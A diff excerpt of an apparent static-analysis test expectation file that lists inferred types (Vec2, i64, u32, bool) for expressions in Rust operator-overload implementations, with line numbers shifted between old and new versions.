main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1403:23:1403:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1409:19:1409:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1409:25:1409:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1409:44:1414:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1410:13:1413:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:20:1411:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:20:1411:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1411:20:1411:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1411:29:1411:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:29:1411:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1412:20:1412:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1412:20:1412:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1412:20:1412:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1412:29:1412:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1412:29:1412:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1418:26:1418:34 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1418:26:1418:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1418:37:1418:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:13:1419:16 | self | | file://:0:0:0:0 | & | -| main.rs:1419:13:1419:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:13:1419:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1419:13:1419:27 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1419:23:1419:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:23:1419:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1420:13:1420:16 | self | | file://:0:0:0:0 | & | -| main.rs:1420:13:1420:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1420:13:1420:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1420:13:1420:27 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1420:23:1420:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1420:23:1420:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1426:16:1426:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1426:22:1426:24 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1426:40:1431:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1427:13:1430:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1428:20:1428:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1428:20:1428:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1428:20:1428:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1428:30:1428:32 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1429:20:1429:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1429:20:1429:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1429:20:1429:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1429:30:1429:32 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1435:23:1435:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1435:23:1435:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1435:34:1435:36 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1436:13:1436:16 | self | | file://:0:0:0:0 | & | -| main.rs:1436:13:1436:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1436:13:1436:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1436:13:1436:26 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1436:24:1436:26 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1437:13:1437:16 | self | | file://:0:0:0:0 | & | -| main.rs:1437:13:1437:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1437:13:1437:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1437:13:1437:26 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1437:24:1437:26 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1443:16:1443:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1443:22:1443:24 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1443:40:1448:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1444:13:1447:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1445:20:1445:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1445:20:1445:25 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1445:20:1445:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1445:30:1445:32 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1446:20:1446:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1446:20:1446:25 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1446:20:1446:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1446:30:1446:32 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1452:23:1452:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1452:23:1452:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1452:34:1452:36 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1453:13:1453:16 | self | | file://:0:0:0:0 | & | -| main.rs:1453:13:1453:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1453:13:1453:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1453:13:1453:26 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1453:24:1453:26 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1454:13:1454:16 | self | | file://:0:0:0:0 | & | -| main.rs:1454:13:1454:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1454:13:1454:18 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1454:13:1454:26 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1454:24:1454:26 | rhs | | {EXTERNAL LOCATION} | u32 | -| main.rs:1460:16:1460:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1460:30:1465:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1461:13:1464:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1462:20:1462:26 | - ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1462:21:1462:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1462:21:1462:26 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1463:20:1463:26 | - ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1463:21:1463:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1463:21:1463:26 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1470:16:1470:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1470:30:1475:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1471:13:1474:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1472:20:1472:26 | ! ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1472:21:1472:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1472:21:1472:26 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1473:20:1473:26 | ! ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1473:21:1473:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1473:21:1473:26 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1479:15:1479:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1479:15:1479:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1479:22:1479:26 | other | | file://:0:0:0:0 | & | -| main.rs:1479:22:1479:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1479:44:1481:9 | { ... } | | {EXTERNAL LOCATION} | bool | -| main.rs:1480:13:1480:16 | self | | file://:0:0:0:0 | & | -| main.rs:1480:13:1480:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:13:1480:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1480:13:1480:29 | ... == ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1480:13:1480:50 | ... && ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1480:23:1480:27 | other | | file://:0:0:0:0 | & | -| main.rs:1480:23:1480:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:23:1480:29 | other.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1480:34:1480:37 | self | | file://:0:0:0:0 | & | -| main.rs:1480:34:1480:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:34:1480:39 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1480:34:1480:50 | ... == ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1480:44:1480:48 | other | | file://:0:0:0:0 | & | -| main.rs:1480:44:1480:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:44:1480:50 | other.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1483:15:1483:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1483:15:1483:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1483:22:1483:26 | other | | file://:0:0:0:0 | & | -| main.rs:1483:22:1483:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1483:44:1485:9 | { ... } | | {EXTERNAL LOCATION} | bool | -| main.rs:1484:13:1484:16 | self | | file://:0:0:0:0 | & | -| main.rs:1484:13:1484:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:13:1484:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1484:13:1484:29 | ... != ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1484:13:1484:50 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1484:23:1484:27 | other | | file://:0:0:0:0 | & | -| main.rs:1484:23:1484:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:23:1484:29 | other.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1484:34:1484:37 | self | | file://:0:0:0:0 | & | -| main.rs:1484:34:1484:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:34:1484:39 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1484:34:1484:50 | ... != ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1484:44:1484:48 | other | | file://:0:0:0:0 | & | -| main.rs:1484:44:1484:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:44:1484:50 | other.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1489:24:1489:28 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1489:24:1489:28 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1489:31:1489:35 | other | | file://:0:0:0:0 | & | -| main.rs:1489:31:1489:35 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1489:75:1491:9 | { ... } | | {EXTERNAL LOCATION} | Option | -| main.rs:1489:75:1491:9 | { ... } | T | {EXTERNAL LOCATION} | Ordering | -| main.rs:1490:13:1490:29 | (...) | | {EXTERNAL LOCATION} | i64 | -| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | | {EXTERNAL LOCATION} | Option | -| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | T | {EXTERNAL LOCATION} | Ordering | -| main.rs:1490:14:1490:17 | self | | file://:0:0:0:0 | & | -| main.rs:1490:14:1490:17 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:14:1490:19 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1490:14:1490:28 | ... + ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1490:23:1490:26 | self | | file://:0:0:0:0 | & | -| main.rs:1490:23:1490:26 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:23:1490:28 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1490:43:1490:62 | &... | | file://:0:0:0:0 | & | -| main.rs:1490:43:1490:62 | &... | &T | {EXTERNAL LOCATION} | i64 | -| main.rs:1490:44:1490:62 | (...) | | {EXTERNAL LOCATION} | i64 | -| main.rs:1490:45:1490:49 | other | | file://:0:0:0:0 | & | -| main.rs:1490:45:1490:49 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:45:1490:51 | other.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1490:45:1490:61 | ... + ... | | {EXTERNAL LOCATION} | i64 | -| main.rs:1490:55:1490:59 | other | | file://:0:0:0:0 | & | -| main.rs:1490:55:1490:59 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:55:1490:61 | other.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1493:15:1493:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1493:15:1493:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1493:22:1493:26 | other | | file://:0:0:0:0 | & | -| main.rs:1493:22:1493:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1493:44:1495:9 | { ... } | | {EXTERNAL LOCATION} | bool | -| main.rs:1494:13:1494:16 | self | | file://:0:0:0:0 | & | -| main.rs:1494:13:1494:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:13:1494:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1494:13:1494:28 | ... < ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1494:13:1494:48 | ... && ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1494:22:1494:26 | other | | file://:0:0:0:0 | & | -| main.rs:1494:22:1494:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:22:1494:28 | other.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1494:33:1494:36 | self | | file://:0:0:0:0 | & | -| main.rs:1494:33:1494:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:33:1494:38 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1494:33:1494:48 | ... < ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1494:42:1494:46 | other | | file://:0:0:0:0 | & | -| main.rs:1494:42:1494:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:42:1494:48 | other.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1497:15:1497:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1497:15:1497:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1497:22:1497:26 | other | | file://:0:0:0:0 | & | -| main.rs:1497:22:1497:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1497:44:1499:9 | { ... } | | {EXTERNAL LOCATION} | bool | -| main.rs:1498:13:1498:16 | self | | file://:0:0:0:0 | & | -| main.rs:1498:13:1498:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:13:1498:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1498:13:1498:29 | ... <= ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1498:13:1498:50 | ... && ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1498:23:1498:27 | other | | file://:0:0:0:0 | & | -| main.rs:1498:23:1498:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:23:1498:29 | other.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1498:34:1498:37 | self | | file://:0:0:0:0 | & | -| main.rs:1498:34:1498:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:34:1498:39 | self.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1498:34:1498:50 | ... <= ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1498:44:1498:48 | other | | file://:0:0:0:0 | & | -| main.rs:1498:44:1498:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:44:1498:50 | other.y | | {EXTERNAL LOCATION} | i64 | -| main.rs:1501:15:1501:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1501:15:1501:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1501:22:1501:26 | other | | file://:0:0:0:0 | & | -| main.rs:1501:22:1501:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1501:44:1503:9 | { ... } | | {EXTERNAL LOCATION} | bool | -| main.rs:1502:13:1502:16 | self | | file://:0:0:0:0 | & | -| main.rs:1502:13:1502:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:13:1502:18 | self.x | | {EXTERNAL LOCATION} | i64 | -| main.rs:1502:13:1502:28 | ... > ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1502:13:1502:48 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1318:13:1318:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1318:13:1318:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1318:13:1318:27 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1318:23:1318:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1318:23:1318:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1319:13:1319:16 | self | | file://:0:0:0:0 | & | +| main.rs:1319:13:1319:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1319:13:1319:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1319:13:1319:27 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1319:23:1319:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1319:23:1319:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1325:16:1325:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1325:22:1325:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1325:41:1330:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1326:13:1329:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1327:20:1327:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1327:20:1327:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:20:1327:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:29:1327:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1327:29:1327:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1328:20:1328:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1328:20:1328:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1328:20:1328:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1328:29:1328:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1328:29:1328:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1335:23:1335:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1335:23:1335:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1335:34:1335:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1336:13:1336:16 | self | | file://:0:0:0:0 | & | +| main.rs:1336:13:1336:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1336:13:1336:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1336:13:1336:27 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1336:23:1336:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1336:23:1336:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1337:13:1337:16 | self | | file://:0:0:0:0 | & | +| main.rs:1337:13:1337:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1337:13:1337:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1337:13:1337:27 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1337:23:1337:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1337:23:1337:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1343:16:1343:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1343:22:1343:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1343:41:1348:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1344:13:1347:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1345:20:1345:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1345:20:1345:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1345:20:1345:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1345:29:1345:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1345:29:1345:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1346:20:1346:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1346:20:1346:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1346:20:1346:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1346:29:1346:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1346:29:1346:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1352:23:1352:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1352:23:1352:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1352:34:1352:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1353:13:1353:16 | self | | file://:0:0:0:0 | & | +| main.rs:1353:13:1353:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1353:13:1353:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1353:13:1353:27 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1353:23:1353:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1353:23:1353:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1354:13:1354:16 | self | | file://:0:0:0:0 | & | +| main.rs:1354:13:1354:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1354:13:1354:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1354:13:1354:27 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1354:23:1354:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1354:23:1354:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1360:16:1360:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1360:22:1360:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1360:41:1365:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1361:13:1364:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1362:20:1362:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1362:20:1362:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1362:20:1362:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1362:29:1362:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1362:29:1362:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1363:20:1363:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1363:20:1363:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1363:20:1363:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1363:29:1363:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1363:29:1363:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1369:23:1369:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1369:23:1369:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1369:34:1369:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1370:13:1370:16 | self | | file://:0:0:0:0 | & | +| main.rs:1370:13:1370:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1370:13:1370:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1370:13:1370:27 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1370:23:1370:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1370:23:1370:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1371:13:1371:16 | self | | file://:0:0:0:0 | & | +| main.rs:1371:13:1371:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1371:13:1371:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1371:13:1371:27 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1371:23:1371:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1371:23:1371:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1377:16:1377:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1377:22:1377:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1377:41:1382:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1378:13:1381:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1379:20:1379:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1379:20:1379:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1379:20:1379:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1379:29:1379:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1379:29:1379:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1380:20:1380:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1380:20:1380:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1380:20:1380:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1380:29:1380:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1380:29:1380:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1386:23:1386:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1386:23:1386:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1386:34:1386:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1387:13:1387:16 | self | | file://:0:0:0:0 | & | +| main.rs:1387:13:1387:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1387:13:1387:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1387:13:1387:27 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1387:23:1387:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1387:23:1387:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1388:13:1388:16 | self | | file://:0:0:0:0 | & | +| main.rs:1388:13:1388:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1388:13:1388:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1388:13:1388:27 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1388:23:1388:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1388:23:1388:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1394:19:1394:22 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1394:25:1394:27 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1394:44:1399:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1395:13:1398:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1396:20:1396:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1396:20:1396:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1396:20:1396:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1396:29:1396:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1396:29:1396:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | 